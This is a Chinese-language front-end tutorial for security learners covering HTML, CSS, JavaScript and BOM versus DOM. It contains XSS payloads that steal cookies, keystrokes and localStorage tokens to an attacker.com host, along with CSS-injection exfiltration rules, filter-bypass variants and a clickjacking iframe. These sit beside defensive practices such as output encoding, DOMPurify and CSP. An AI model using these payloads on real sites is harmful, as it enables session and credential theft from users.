前言
在資安領域,尤其是 Web 安全,前端技術知識是不可或缺的。XSS(跨站腳本攻擊)、Clickjacking(點擊劫持)、DOM-based 漏洞⋯⋯這些常見的 Web 攻擊手法,都與前端技術息息相關。
你可能會想:「我是做資安的,不是前端工程師,為什麼要學這些?」
答案很簡單:你必須了解攻擊目標的運作方式,才能有效地進行攻擊或防禦。
這篇文章將帶你從零開始理解 HTML、CSS、JavaScript 的核心概念,並深入解析 BOM 與 DOM 的差異——這些都是進行 Web 安全測試時必須掌握的基礎知識。
為什麼資安人員需要懂前端?
在進入技術細節之前,讓我們看看前端知識在資安工作中的實際應用:
XSS 攻擊與防禦
XSS 是最常見的 Web 漏洞之一。要理解 XSS:
– 你需要知道 HTML 如何被瀏覽器解析
– 你需要知道 JavaScript 如何在瀏覽器中執行
– 你需要知道如何構造有效的 payload
分析惡意網頁
當你需要分析釣魚網站或惡意網頁時:
– 你需要讀懂 HTML 結構
– 你需要理解 JavaScript 程式碼在做什麼
– 你需要知道惡意程式碼如何竊取資料
繞過前端驗證
前端驗證只是使用者體驗的一部分,不能作為安全措施:
– 理解前端驗證的實作方式
– 知道如何繞過這些驗證
– 說服開發者為什麼後端驗證才是關鍵
理解 CSP 與安全標頭
Content Security Policy 是防禦 XSS 的重要機制:
– 需要理解 JavaScript 的載入方式
– 需要理解 inline script 與 external script 的差異
– 需要理解事件處理器如何運作
HTML 基礎
HTML(HyperText Markup Language)是網頁的骨架,定義了網頁的結構和內容。
HTML 文件結構
<!DOCTYPE html>
<html lang="zh-TW">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>網頁標題</title>
<link rel="stylesheet" href="styles.css">
<script src="script.js" defer></script>
</head>
<body>
<!-- 網頁內容放這裡 -->
<h1>歡迎來到我的網站</h1>
<p>這是一個段落。</p>
</body>
</html>
結構說明:
– <!DOCTYPE html>:宣告這是 HTML5 文件
– <html>:根元素,包含整個網頁
– <head>:包含 metadata(標題、編碼、CSS/JS 引用)
– <body>:包含網頁的可見內容
常見 HTML 標籤
文字與結構標籤
<!-- 標題(h1 最大,h6 最小) -->
<h1>主標題</h1>
<h2>副標題</h2>
<h3>小標題</h3>
<!-- 段落 -->
<p>這是一個段落文字。</p>
<!-- 換行 -->
<br>
<!-- 水平線 -->
<hr>
<!-- 區塊容器 -->
<div>這是一個區塊元素</div>
<!-- 行內容器 -->
<span>這是行內元素</span>
<!-- 強調 -->
<strong>粗體強調</strong>
<em>斜體強調</em>
<!-- 預格式化文字 -->
<pre>
保留空白和
換行的文字
</pre>
<!-- 程式碼 -->
<code>console.log('Hello');</code>
連結與圖片
<!-- 超連結 -->
<a href="https://example.com">點我前往</a>
<a href="https://example.com" target="_blank">在新分頁開啟</a>
<a href="mailto:[email protected]">寄送郵件</a>
<a href="javascript:alert('XSS')">JavaScript 連結(危險!)</a>
<!-- 圖片 -->
<img src="image.jpg" alt="圖片說明">
<img src="https://example.com/image.png" alt="外部圖片">
<!-- 圖片也可能成為 XSS 向量 -->
<img src="x" onerror="alert('XSS')">
資安重點:危險的連結協定
<!-- 這些協定可能被用於攻擊 -->
<a href="javascript:alert('XSS')">JavaScript 協定</a>
<a href="data:text/html,<script>alert('XSS')</script>">Data URI</a>
<a href="vbscript:msgbox('XSS')">VBScript(舊版 IE)</a>
<!-- 安全的做法:驗證 URL 協定 -->
<!-- 只允許 http:// 和 https:// -->
清單
<!-- 無序清單 -->
<ul>
<li>項目一</li>
<li>項目二</li>
<li>項目三</li>
</ul>
<!-- 有序清單 -->
<ol>
<li>第一步</li>
<li>第二步</li>
<li>第三步</li>
</ol>
<!-- 描述清單 -->
<dl>
<dt>術語</dt>
<dd>術語的定義</dd>
</dl>
表格
<table>
<thead>
<tr>
<th>姓名</th>
<th>年齡</th>
<th>職位</th>
</tr>
</thead>
<tbody>
<tr>
<td>小明</td>
<td>25</td>
<td>工程師</td>
</tr>
<tr>
<td>小華</td>
<td>30</td>
<td>設計師</td>
</tr>
</tbody>
</table>
表單(Forms)
表單是使用者與網站互動的主要方式,也是資安測試的重點區域。
<form action="/login" method="POST">
<!-- 文字輸入 -->
<label for="username">使用者名稱:</label>
<input type="text" id="username" name="username" required>
<!-- 密碼輸入 -->
<label for="password">密碼:</label>
<input type="password" id="password" name="password" required>
<!-- 電子郵件 -->
<label for="email">Email:</label>
<input type="email" id="email" name="email">
<!-- 隱藏欄位 -->
<input type="hidden" name="csrf_token" value="abc123">
<!-- 核取方塊 -->
<input type="checkbox" id="remember" name="remember">
<label for="remember">記住我</label>
<!-- 單選按鈕 -->
<input type="radio" id="male" name="gender" value="male">
<label for="male">男</label>
<input type="radio" id="female" name="gender" value="female">
<label for="female">女</label>
<!-- 下拉選單 -->
<select name="country">
<option value="tw">台灣</option>
<option value="jp">日本</option>
<option value="us">美國</option>
</select>
<!-- 多行文字 -->
<textarea name="message" rows="4" cols="50"></textarea>
<!-- 檔案上傳 -->
<input type="file" name="avatar" accept="image/*">
<!-- 提交按鈕 -->
<button type="submit">登入</button>
</form>
表單屬性
<!-- action:表單提交的目標 URL -->
<form action="/submit">
<!-- method:HTTP 方法 -->
<form method="POST"> <!-- 推薦用於敏感資料 -->
<form method="GET"> <!-- 資料會出現在 URL -->
<!-- enctype:編碼類型 -->
<form enctype="application/x-www-form-urlencoded"> <!-- 預設 -->
<form enctype="multipart/form-data"> <!-- 檔案上傳必須 -->
<form enctype="text/plain"> <!-- 純文字 -->
<!-- autocomplete:自動完成 -->
<form autocomplete="off">
<input autocomplete="new-password"> <!-- 防止密碼自動填入 -->
資安重點:表單安全
<!-- ❌ 不安全:GET 方法傳送密碼 -->
<form action="/login" method="GET">
<input type="password" name="password">
</form>
<!-- 密碼會出現在 URL、瀏覽器歷史、伺服器日誌 -->
<!-- ❌ 不安全:沒有 CSRF Token -->
<form action="/transfer" method="POST">
<input name="amount" value="1000">
<input name="to" value="attacker">
</form>
<!-- ✓ 安全:使用 POST + CSRF Token -->
<form action="/transfer" method="POST">
<input type="hidden" name="csrf_token" value="random-token-here">
<input name="amount" value="1000">
<input name="to" value="friend">
</form>
HTML 實體編碼
特殊字元需要編碼才能正確顯示:
| 字元 | 實體名稱 | 實體編號 |
|---|---|---|
| < | < |
< |
| > | > |
> |
| & | & |
& |
| “ | " |
" |
| ‘ | ' |
' |
| 空格 | |
|
資安重點:輸出編碼防止 XSS
<!-- 使用者輸入:<script>alert('XSS')</script> -->
<!-- ❌ 直接輸出(造成 XSS) -->
<p>歡迎,<script>alert('XSS')</script></p>
<!-- ✓ 編碼後輸出(安全) -->
<p>歡迎,<script>alert('XSS')</script></p>
<!-- 瀏覽器顯示:歡迎,<script>alert('XSS')</script> -->
<!-- 但不會執行 -->
HTML5 新特性與安全
<!-- 語意化標籤 -->
<header>網站標頭</header>
<nav>導覽列</nav>
<main>主要內容</main>
<article>文章</article>
<section>區塊</section>
<aside>側邊欄</aside>
<footer>頁尾</footer>
<!-- 多媒體 -->
<video src="video.mp4" controls></video>
<audio src="audio.mp3" controls></audio>
<!-- 畫布(常用於指紋識別) -->
<canvas id="myCanvas"></canvas>
<!-- 本地儲存相關 -->
<script>
localStorage.setItem('data', 'value');
sessionStorage.setItem('data', 'value');
</script>
<!-- 地理位置(隱私考量) -->
<script>
navigator.geolocation.getCurrentPosition(callback);
</script>
CSS 基礎
CSS(Cascading Style Sheets)控制網頁的外觀和樣式。
CSS 引入方式
<!-- 1. 外部樣式表(推薦) -->
<link rel="stylesheet" href="styles.css">
<!-- 2. 內部樣式表 -->
<style>
body {
background-color: #f0f0f0;
}
</style>
<!-- 3. 行內樣式 -->
<p style="color: red; font-size: 16px;">紅色文字</p>
CSS 基本語法
/* 選擇器 { 屬性: 值; } */
/* 元素選擇器 */
p {
color: blue;
font-size: 16px;
}
/* Class 選擇器(.開頭) */
.highlight {
background-color: yellow;
}
/* ID 選擇器(#開頭) */
#header {
height: 60px;
}
/* 屬性選擇器 */
input[type="text"] {
border: 1px solid gray;
}
/* 後代選擇器 */
div p {
margin: 10px;
}
/* 子選擇器 */
div > p {
padding: 5px;
}
/* 偽類選擇器 */
a:hover {
color: red;
}
a:visited {
color: purple;
}
/* 偽元素選擇器 */
p::first-line {
font-weight: bold;
}
p::before {
content: "→ ";
}
常用 CSS 屬性
/* 文字樣式 */
.text-example {
color: #333; /* 文字顏色 */
font-size: 16px; /* 字體大小 */
font-family: Arial, sans-serif; /* 字體 */
font-weight: bold; /* 粗細 */
text-align: center; /* 對齊 */
text-decoration: underline; /* 裝飾線 */
line-height: 1.5; /* 行高 */
}
/* 盒模型 */
.box-example {
width: 200px; /* 寬度 */
height: 100px; /* 高度 */
padding: 10px; /* 內距 */
margin: 20px; /* 外距 */
border: 1px solid black; /* 邊框 */
box-sizing: border-box; /* 盒模型計算方式 */
}
/* 背景 */
.bg-example {
background-color: #f0f0f0;
background-image: url('bg.jpg');
background-size: cover;
background-position: center;
}
/* 定位 */
.position-example {
position: relative; /* static, relative, absolute, fixed, sticky */
top: 10px;
left: 20px;
z-index: 100;
}
/* 顯示與可見性 */
.display-example {
display: block; /* block, inline, inline-block, flex, grid, none */
visibility: visible; /* visible, hidden */
opacity: 0.8; /* 0 到 1 */
}
/* Flexbox */
.flex-container {
display: flex;
justify-content: center; /* 主軸對齊 */
align-items: center; /* 交叉軸對齊 */
flex-direction: row; /* row, column */
gap: 10px; /* 間距 */
}
CSS 優先順序
當多個規則套用到同一元素時,優先順序決定哪個生效:
!important > 行內樣式 > ID > Class/屬性/偽類 > 元素/偽元素
具體計算(a, b, c, d):
- a: 行內樣式(1 或 0)
- b: ID 選擇器數量
- c: Class/屬性/偽類選擇器數量
- d: 元素/偽元素選擇器數量
範例:
#header .nav li a → (0, 1, 1, 2) = 112
.nav li a.active → (0, 0, 2, 2) = 022
div#content p → (0, 1, 0, 2) = 102
CSS 與資安
CSS Injection
如果攻擊者能注入 CSS,可能造成:
/* 1. 資料外洩:使用屬性選擇器 + 背景圖片 */
input[value^="a"] {
background: url('https://attacker.com/leak?char=a');
}
input[value^="b"] {
background: url('https://attacker.com/leak?char=b');
}
/* 逐字元竊取輸入框的值 */
/* 2. UI 偽造 */
.real-button {
display: none;
}
body::after {
content: "請輸入密碼";
position: fixed;
/* 假造一個登入框 */
}
/* 3. 點擊劫持輔助 */
iframe {
opacity: 0.01;
position: absolute;
z-index: 999;
}
CSS 歷史記錄探測(已修補)
舊版瀏覽器可以透過 :visited 偽類探測使用者瀏覽歷史:
/* 舊的攻擊方式(現代瀏覽器已限制) */
a:visited {
background: url('https://attacker.com/visited?site=xxx');
}
現代瀏覽器限制了 :visited 可以改變的屬性,只允許修改顏色相關的屬性。
UI Redressing / Clickjacking
<!-- 攻擊者的頁面 -->
<style>
.overlay {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
opacity: 0.01; /* 幾乎透明 */
}
.fake-button {
position: absolute;
top: 100px;
left: 100px;
}
</style>
<div class="fake-button">點我領取獎品!</div>
<iframe class="overlay" src="https://bank.com/transfer?to=attacker&amount=1000">
</iframe>
<!-- 使用者以為點擊「領取獎品」,實際上點擊了隱藏的轉帳按鈕 -->
防禦方式:設定 X-Frame-Options 或 CSP frame-ancestors
JavaScript 基礎
JavaScript 是網頁的程式語言,讓網頁具有互動性。對資安人員來說,這是最重要的前端技術。
JavaScript 引入方式
<!-- 1. 外部腳本 -->
<script src="script.js"></script>
<!-- 2. 內部腳本 -->
<script>
console.log('Hello, World!');
</script>
<!-- 3. 行內事件處理器 -->
<button onclick="alert('Clicked!')">點我</button>
<!-- 4. JavaScript 協定 -->
<a href="javascript:alert('XSS')">連結</a>
<!-- script 標籤屬性 -->
<script src="script.js" defer></script> <!-- DOM 載入完成後執行 -->
<script src="script.js" async></script> <!-- 非同步載入並執行 -->
基本語法
// 變數宣告
var oldWay = "舊的方式"; // 函數作用域
let modern = "現代方式"; // 區塊作用域
const constant = "常數"; // 不可重新賦值
// 資料類型
let string = "字串";
let number = 42;
let float = 3.14;
let boolean = true;
let nullValue = null;
let undefinedValue = undefined;
let array = [1, 2, 3];
let object = { name: "John", age: 30 };
// 運算子
let sum = 1 + 2;
let isEqual = (1 == "1"); // true(寬鬆比較)
let isStrictEqual = (1 === "1"); // false(嚴格比較)
// 條件判斷
if (condition) {
// ...
} else if (anotherCondition) {
// ...
} else {
// ...
}
// 三元運算子
let result = condition ? "yes" : "no";
// 迴圈
for (let i = 0; i < 10; i++) {
console.log(i);
}
while (condition) {
// ...
}
for (let item of array) {
console.log(item);
}
for (let key in object) {
console.log(key, object[key]);
}
// 函數
function greet(name) {
return "Hello, " + name;
}
// 箭頭函數
const greetArrow = (name) => "Hello, " + name;
// 物件方法
const person = {
name: "John",
greet: function() {
return "Hello, " + this.name;
},
// 簡寫
sayHi() {
return "Hi!";
}
};
字串處理
let str = "Hello, World!";
// 常用方法
str.length; // 13
str.toUpperCase(); // "HELLO, WORLD!"
str.toLowerCase(); // "hello, world!"
str.indexOf("World"); // 7
str.includes("Hello"); // true
str.startsWith("Hello"); // true
str.endsWith("!"); // true
str.slice(0, 5); // "Hello"
str.split(", "); // ["Hello", "World!"]
str.replace("World", "JS"); // "Hello, JS!"
str.trim(); // 移除前後空白
// 模板字串
let name = "Alice";
let greeting = `Hello, ${name}!`; // "Hello, Alice!"
let multiline = `
這是
多行
字串
`;
陣列處理
let arr = [1, 2, 3, 4, 5];
// 基本操作
arr.length; // 5
arr.push(6); // 加入末尾
arr.pop(); // 移除末尾
arr.unshift(0); // 加入開頭
arr.shift(); // 移除開頭
arr.indexOf(3); // 2
arr.includes(3); // true
arr.slice(1, 3); // [2, 3]
arr.splice(1, 2); // 移除並回傳 [2, 3]
// 高階函數
arr.forEach(item => console.log(item));
arr.map(x => x * 2); // [2, 4, 6, 8, 10]
arr.filter(x => x > 2); // [3, 4, 5]
arr.reduce((sum, x) => sum + x, 0); // 15
arr.find(x => x > 3); // 4
arr.some(x => x > 3); // true
arr.every(x => x > 0); // true
arr.sort((a, b) => a - b); // 排序
物件處理
let obj = {
name: "John",
age: 30,
city: "Taipei"
};
// 存取屬性
obj.name; // "John"
obj["name"]; // "John"
obj.country = "TW"; // 新增屬性
// 常用方法
Object.keys(obj); // ["name", "age", "city", "country"]
Object.values(obj); // ["John", 30, "Taipei", "TW"]
Object.entries(obj); // [["name", "John"], ["age", 30], ...]
// 解構賦值
let { name, age } = obj;
// 展開運算子
let newObj = { ...obj, email: "[email protected]" };
// JSON 轉換
let jsonString = JSON.stringify(obj);
let parsedObj = JSON.parse(jsonString);
事件處理
// 取得元素
let button = document.getElementById('myButton');
let buttons = document.querySelectorAll('.btn');
// 添加事件監聽器
button.addEventListener('click', function(event) {
console.log('Button clicked!');
console.log(event.target); // 被點擊的元素
});
// 常見事件類型
element.addEventListener('click', handler); // 點擊
element.addEventListener('submit', handler); // 表單提交
element.addEventListener('keydown', handler); // 按鍵按下
element.addEventListener('keyup', handler); // 按鍵釋放
element.addEventListener('mouseover', handler); // 滑鼠移入
element.addEventListener('mouseout', handler); // 滑鼠移出
element.addEventListener('focus', handler); // 獲得焦點
element.addEventListener('blur', handler); // 失去焦點
element.addEventListener('change', handler); // 值改變
element.addEventListener('input', handler); // 輸入
element.addEventListener('load', handler); // 載入完成
document.addEventListener('DOMContentLoaded', handler); // DOM 載入完成
// 事件物件
element.addEventListener('click', function(event) {
event.preventDefault(); // 阻止預設行為
event.stopPropagation(); // 停止事件冒泡
event.target; // 觸發事件的元素
event.currentTarget; // 綁定事件的元素
event.type; // 事件類型
});
// 移除事件監聽器
function handler(event) {
console.log('Clicked');
}
element.addEventListener('click', handler);
element.removeEventListener('click', handler);
非同步處理
// Callback
function fetchData(callback) {
setTimeout(() => {
callback('Data received');
}, 1000);
}
fetchData(data => console.log(data));
// Promise
function fetchDataPromise() {
return new Promise((resolve, reject) => {
setTimeout(() => {
resolve('Data received');
// 或 reject('Error occurred');
}, 1000);
});
}
fetchDataPromise()
.then(data => console.log(data))
.catch(error => console.error(error));
// async/await
async function getData() {
try {
const response = await fetch('https://api.example.com/data');
const data = await response.json();
return data;
} catch (error) {
console.error('Error:', error);
}
}
// Fetch API
fetch('https://api.example.com/users', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({ name: 'John' }),
})
.then(response => response.json())
.then(data => console.log(data))
.catch(error => console.error(error));
JavaScript 與資安
XSS 攻擊向量
// 常見的 XSS 注入點
// 1. innerHTML
element.innerHTML = userInput; // 危險!
element.textContent = userInput; // 安全
// 2. document.write
document.write(userInput); // 危險!
// 3. eval
eval(userInput); // 非常危險!
// 4. setTimeout/setInterval 字串形式
setTimeout(userInput, 1000); // 危險!
setTimeout(() => { /* 安全的程式碼 */ }, 1000); // 安全
// 5. 動態建立腳本
let script = document.createElement('script');
script.src = userInput; // 危險!
document.body.appendChild(script);
// 6. location 操作
location.href = userInput; // 可能危險
location.assign(userInput); // 可能危險
// 7. jQuery 的危險方法
(userInput); // 如果 userInput 是 HTML,會被解析('#element').html(userInput); // 危險
$('#element').text(userInput); // 安全
XSS Payload 範例
// 基本 alert
<script>alert('XSS')</script>
// 事件處理器
<img src=x onerror="alert('XSS')">
<body onload="alert('XSS')">
<svg onload="alert('XSS')">
<input onfocus="alert('XSS')" autofocus>
<marquee onstart="alert('XSS')">
// 竊取 Cookie
<script>
new Image().src = 'https://attacker.com/steal?cookie=' + document.cookie;
</script>
// 竊取表單資料
<script>
document.forms[0].action = 'https://attacker.com/phish';
</script>
// 鍵盤記錄
<script>
document.onkeypress = function(e) {
new Image().src = 'https://attacker.com/log?key=' + e.key;
};
</script>
// 繞過過濾的技巧
<ScRiPt>alert('XSS')</sCrIpT> // 大小寫混合
<script>alert(String.fromCharCode(88,83,83))</script> // 編碼
<img src=x onerror=alert`XSS`> // 模板字串
<a href="javascript:alert('XSS')"> // HTML 實體
安全的程式碼實踐
// ❌ 危險
element.innerHTML = '<div>' + userInput + '</div>';
// ✓ 安全:使用 textContent
element.textContent = userInput;
// ✓ 安全:使用 DOM 方法
const div = document.createElement('div');
div.textContent = userInput;
element.appendChild(div);
// ✓ 安全:使用 DOMPurify 清理 HTML
const clean = DOMPurify.sanitize(userInput);
element.innerHTML = clean;
// ✓ 安全:驗證 URL
function isValidUrl(string) {
try {
const url = new URL(string);
return url.protocol === 'http:' || url.protocol === 'https:';
} catch {
return false;
}
}
// ✓ 安全:使用 CSP
// 在 HTTP 標頭中設定
// Content-Security-Policy: default-src 'self'; script-src 'self'
BOM vs DOM
這是前端技術中非常重要的概念,也是資安人員必須理解的內容。
什麼是 BOM?
BOM(Browser Object Model,瀏覽器物件模型)是瀏覽器提供的 API,讓 JavaScript 可以與瀏覽器互動。BOM 不是標準規範,各瀏覽器的實作可能略有不同。
┌─────────────────────────────────────────────────────────────┐
│ window │
│ ┌──────────────────────────────────────────────────────┐ │
│ │ BOM(瀏覽器物件模型) │ │
│ │ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐ │ │
│ │ │ location │ │ history │ │navigator │ │ screen │ │ │
│ │ └──────────┘ └──────────┘ └──────────┘ └──────────┘ │ │
│ │ ┌──────────┐ ┌──────────┐ ┌──────────┐ │ │
│ │ │localStorage│ │sessionStorage│ │ console │ │ │
│ │ └──────────┘ └──────────┘ └──────────┘ │ │
│ └──────────────────────────────────────────────────────┘ │
│ ┌──────────────────────────────────────────────────────┐ │
│ │ DOM(文件物件模型) │ │
│ │ ┌──────────────────────────────────────────────┐ │ │
│ │ │ document │ │ │
│ │ │ ┌────────────────────────────────────────┐ │ │ │
│ │ │ │ <html> │ │ │ │
│ │ │ │ ┌──────────┐ ┌──────────────┐ │ │ │ │
│ │ │ │ │ <head> │ │ <body> │ │ │ │ │
│ │ │ │ └──────────┘ └──────────────┘ │ │ │ │
│ │ │ └────────────────────────────────────────┘ │ │ │
│ │ └──────────────────────────────────────────────┘ │ │
│ └──────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────┘
什麼是 DOM?
DOM(Document Object Model,文件物件模型)是 HTML 或 XML 文件的程式介面。它將文件表示為節點樹,讓 JavaScript 可以操作網頁內容、結構和樣式。
BOM 與 DOM 的差異
| 特性 | BOM | DOM |
|---|---|---|
| 全名 | Browser Object Model | Document Object Model |
| 核心物件 | window | document |
| 功能 | 與瀏覽器互動 | 與網頁文件互動 |
| 標準化 | 非正式標準 | W3C 標準 |
| 範圍 | 瀏覽器視窗、歷史、位置等 | HTML/XML 文件內容 |
| 關係 | 包含 DOM | 是 BOM 的一部分 |
BOM 主要物件
window 物件
window 是 BOM 的頂層物件,代表瀏覽器視窗。在全域作用域中宣告的變數和函數都會成為 window 的屬性。
// window 是全域物件
var globalVar = "I'm global";
console.log(window.globalVar); // "I'm global"
// 視窗尺寸
window.innerWidth; // 視窗內部寬度
window.innerHeight; // 視窗內部高度
window.outerWidth; // 視窗外部寬度(含工具列)
window.outerHeight; // 視窗外部高度
// 開啟新視窗
window.open('https://example.com', '_blank');
window.open('https://example.com', '_blank', 'width=500,height=400');
// 關閉視窗
window.close();
// 對話框
window.alert('警告訊息');
window.confirm('確定嗎?'); // 回傳 true 或 false
window.prompt('請輸入姓名:'); // 回傳輸入的字串
// 計時器
let timeoutId = window.setTimeout(() => {
console.log('3 秒後執行');
}, 3000);
window.clearTimeout(timeoutId);
let intervalId = window.setInterval(() => {
console.log('每秒執行');
}, 1000);
window.clearInterval(intervalId);
// 捲動
window.scrollTo(0, 500);
window.scrollBy(0, 100);
location 物件
location 包含當前 URL 的資訊,也可以用來導航。
// 當前 URL: https://www.example.com:8080/path/page.html?name=john&age=30#section1
location.href; // 完整 URL
location.protocol; // "https:"
location.host; // "www.example.com:8080"
location.hostname; // "www.example.com"
location.port; // "8080"
location.pathname; // "/path/page.html"
location.search; // "?name=john&age=30"
location.hash; // "#section1"
location.origin; // "https://www.example.com:8080"
// 解析查詢字串
const params = new URLSearchParams(location.search);
params.get('name'); // "john"
params.get('age'); // "30"
// 頁面導航
location.href = 'https://example.com'; // 導航到新頁面(有歷史記錄)
location.assign('https://example.com'); // 同上
location.replace('https://example.com'); // 導航但不留歷史記錄
location.reload(); // 重新載入頁面
location.reload(true); // 強制從伺服器重新載入
資安應用:Open Redirect
// ❌ 危險:未驗證的重導向
const redirectUrl = new URLSearchParams(location.search).get('redirect');
location.href = redirectUrl;
// 攻擊者可以構造: ?redirect=https://evil.com
// ✓ 安全:驗證重導向目標
const redirectUrl = new URLSearchParams(location.search).get('redirect');
const allowedDomains = ['example.com', 'sub.example.com'];
try {
const url = new URL(redirectUrl, location.origin);
if (allowedDomains.includes(url.hostname)) {
location.href = redirectUrl;
} else {
location.href = '/'; // 導向首頁
}
} catch {
location.href = '/';
}
history 物件
history 讓你可以操作瀏覽器的歷史記錄。
// 歷史記錄導航
history.back(); // 上一頁
history.forward(); // 下一頁
history.go(-2); // 往前 2 頁
history.go(1); // 往後 1 頁
// 歷史記錄長度
history.length;
// HTML5 History API
history.pushState({ page: 1 }, 'Title', '/new-url'); // 新增歷史記錄
history.replaceState({ page: 2 }, 'Title', '/another'); // 取代當前記錄
// 監聽歷史變化
window.addEventListener('popstate', function(event) {
console.log('Location changed to:', location.href);
console.log('State:', event.state);
});
navigator 物件
navigator 包含瀏覽器和系統的資訊。
// 瀏覽器資訊
navigator.userAgent; // 使用者代理字串
navigator.language; // 瀏覽器語言
navigator.languages; // 偏好語言列表
navigator.platform; // 作業系統平台
navigator.cookieEnabled; // Cookie 是否啟用
navigator.onLine; // 是否在線
// 地理位置(需要使用者授權)
navigator.geolocation.getCurrentPosition(
position => {
console.log(position.coords.latitude);
console.log(position.coords.longitude);
},
error => {
console.error(error);
}
);
// 剪貼簿(需要使用者授權)
navigator.clipboard.writeText('複製的文字');
navigator.clipboard.readText().then(text => console.log(text));
// 媒體裝置
navigator.mediaDevices.getUserMedia({ video: true, audio: true })
.then(stream => { /* 使用攝影機/麥克風 */ });
資安應用:瀏覽器指紋
// 這些資訊可以用於追蹤使用者(即使沒有 Cookie)
const fingerprint = {
userAgent: navigator.userAgent,
language: navigator.language,
platform: navigator.platform,
screenResolution: `{screen.width}x{screen.height}`,
colorDepth: screen.colorDepth,
timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
plugins: Array.from(navigator.plugins).map(p => p.name),
// 還可以加入 Canvas 指紋、WebGL 指紋等
};
screen 物件
screen 包含使用者螢幕的資訊。
screen.width; // 螢幕寬度
screen.height; // 螢幕高度
screen.availWidth; // 可用寬度(扣除工作列)
screen.availHeight; // 可用高度
screen.colorDepth; // 色彩深度
screen.pixelDepth; // 像素深度
localStorage 與 sessionStorage
Web Storage API 提供在瀏覽器儲存資料的方式。
// localStorage:永久儲存(直到手動清除)
localStorage.setItem('key', 'value');
localStorage.getItem('key');
localStorage.removeItem('key');
localStorage.clear();
// sessionStorage:分頁關閉後清除
sessionStorage.setItem('key', 'value');
sessionStorage.getItem('key');
sessionStorage.removeItem('key');
sessionStorage.clear();
// 儲存物件(需要 JSON 轉換)
localStorage.setItem('user', JSON.stringify({ name: 'John', age: 30 }));
const user = JSON.parse(localStorage.getItem('user'));
// 監聽 storage 變化(跨分頁)
window.addEventListener('storage', function(event) {
console.log('Key:', event.key);
console.log('Old value:', event.oldValue);
console.log('New value:', event.newValue);
});
資安注意事項
// ❌ 不要在 localStorage 儲存敏感資料
localStorage.setItem('token', 'secret-jwt-token'); // 容易被 XSS 竊取
// XSS 攻擊可以輕易讀取 localStorage
// <script>
// new Image().src = 'https://attacker.com/steal?token=' + localStorage.getItem('token');
// </script>
// ✓ 敏感資料應該使用 HttpOnly Cookie
// 或使用更安全的儲存機制
DOM 主要物件
document 物件
document 代表整個 HTML 文件,是 DOM 操作的入口點。
// 取得元素
document.getElementById('myId');
document.getElementsByClassName('myClass');
document.getElementsByTagName('div');
document.querySelector('.myClass'); // 第一個符合的
document.querySelectorAll('.myClass'); // 所有符合的
// 文件資訊
document.title; // 網頁標題
document.URL; // 網頁 URL
document.domain; // 網域
document.referrer; // 來源頁面
document.cookie; // Cookie
document.lastModified; // 最後修改時間
document.readyState; // 載入狀態
document.characterSet; // 字元編碼
// 特殊元素
document.documentElement; // <html>
document.head; // <head>
document.body; // <body>
document.forms; // 所有表單
document.images; // 所有圖片
document.links; // 所有連結
document.scripts; // 所有腳本
// 建立元素
document.createElement('div');
document.createTextNode('文字內容');
document.createDocumentFragment();
// 寫入內容
document.write('<p>Hello</p>'); // 不建議使用
document.writeln('<p>Hello</p>');
DOM 節點操作
// 取得元素
const element = document.getElementById('myElement');
// 節點關係
element.parentNode; // 父節點
element.parentElement; // 父元素
element.childNodes; // 所有子節點(含文字節點)
element.children; // 所有子元素
element.firstChild; // 第一個子節點
element.firstElementChild; // 第一個子元素
element.lastChild; // 最後一個子節點
element.lastElementChild; // 最後一個子元素
element.previousSibling; // 前一個兄弟節點
element.nextSibling; // 下一個兄弟節點
element.previousElementSibling; // 前一個兄弟元素
element.nextElementSibling; // 下一個兄弟元素
// 新增節點
const newElement = document.createElement('div');
newElement.textContent = '新元素';
element.appendChild(newElement); // 加入末尾
element.insertBefore(newElement, refNode); // 插入到參考節點前
element.prepend(newElement); // 加入開頭
element.append(newElement); // 加入末尾
element.before(newElement); // 插入到元素前
element.after(newElement); // 插入到元素後
// 移除節點
element.removeChild(childNode);
childNode.remove();
// 替換節點
element.replaceChild(newNode, oldNode);
oldNode.replaceWith(newNode);
// 複製節點
element.cloneNode(); // 淺複製
element.cloneNode(true); // 深複製(含子節點)
元素屬性操作
const element = document.getElementById('myElement');
// 標準屬性
element.id = 'newId';
element.className = 'class1 class2';
element.href = 'https://example.com';
element.src = 'image.jpg';
// classList API
element.classList.add('newClass');
element.classList.remove('oldClass');
element.classList.toggle('active');
element.classList.contains('active');
element.classList.replace('old', 'new');
// 自訂屬性
element.getAttribute('data-id');
element.setAttribute('data-id', '123');
element.removeAttribute('data-id');
element.hasAttribute('data-id');
// dataset API(data-* 屬性)
// <div data-user-id="123" data-role="admin">
element.dataset.userId; // "123"
element.dataset.role; // "admin"
element.dataset.newProp = 'value';
// 內容操作
element.innerHTML; // HTML 內容(可執行腳本)
element.outerHTML; // 包含自身的 HTML
element.textContent; // 純文字內容(安全)
element.innerText; // 可見文字內容
// 樣式操作
element.style.color = 'red';
element.style.backgroundColor = 'blue';
element.style.cssText = 'color: red; background: blue;';
getComputedStyle(element).color; // 取得計算後的樣式
表單操作
// 取得表單
const form = document.getElementById('myForm');
// 表單元素
form.elements; // 所有表單元素
form.elements['username']; // 透過 name 取得
form.elements[0]; // 透過索引取得
// 表單值
const input = document.getElementById('username');
input.value; // 取得值
input.value = 'newValue'; // 設定值
input.type; // 輸入類型
// 核取方塊和單選按鈕
checkbox.checked; // true 或 false
radio.checked;
// 下拉選單
select.value; // 選中的值
select.selectedIndex; // 選中的索引
select.options; // 所有選項
select.options[select.selectedIndex].text; // 選中的文字
// 表單事件
form.addEventListener('submit', function(event) {
event.preventDefault(); // 阻止表單提交
// 驗證
const formData = new FormData(form);
console.log(formData.get('username'));
// 手動提交
// form.submit();
});
// 表單驗證 API
input.validity.valid; // 是否有效
input.validity.valueMissing; // 是否為空(required)
input.validity.typeMismatch; // 類型不符(email, url)
input.validity.patternMismatch; // 模式不符(pattern)
input.checkValidity(); // 檢查有效性
input.setCustomValidity('自訂錯誤訊息');
DOM 與資安
DOM-based XSS
// DOM-based XSS 發生在客戶端,不經過伺服器
// 危險的 Source(輸入來源)
location.href
location.search
location.hash
document.URL
document.referrer
document.cookie
window.name
postMessage 的資料
// 危險的 Sink(輸出目標)
element.innerHTML
document.write()
eval()
setTimeout(string)
setInterval(string)
location.href
location.assign()
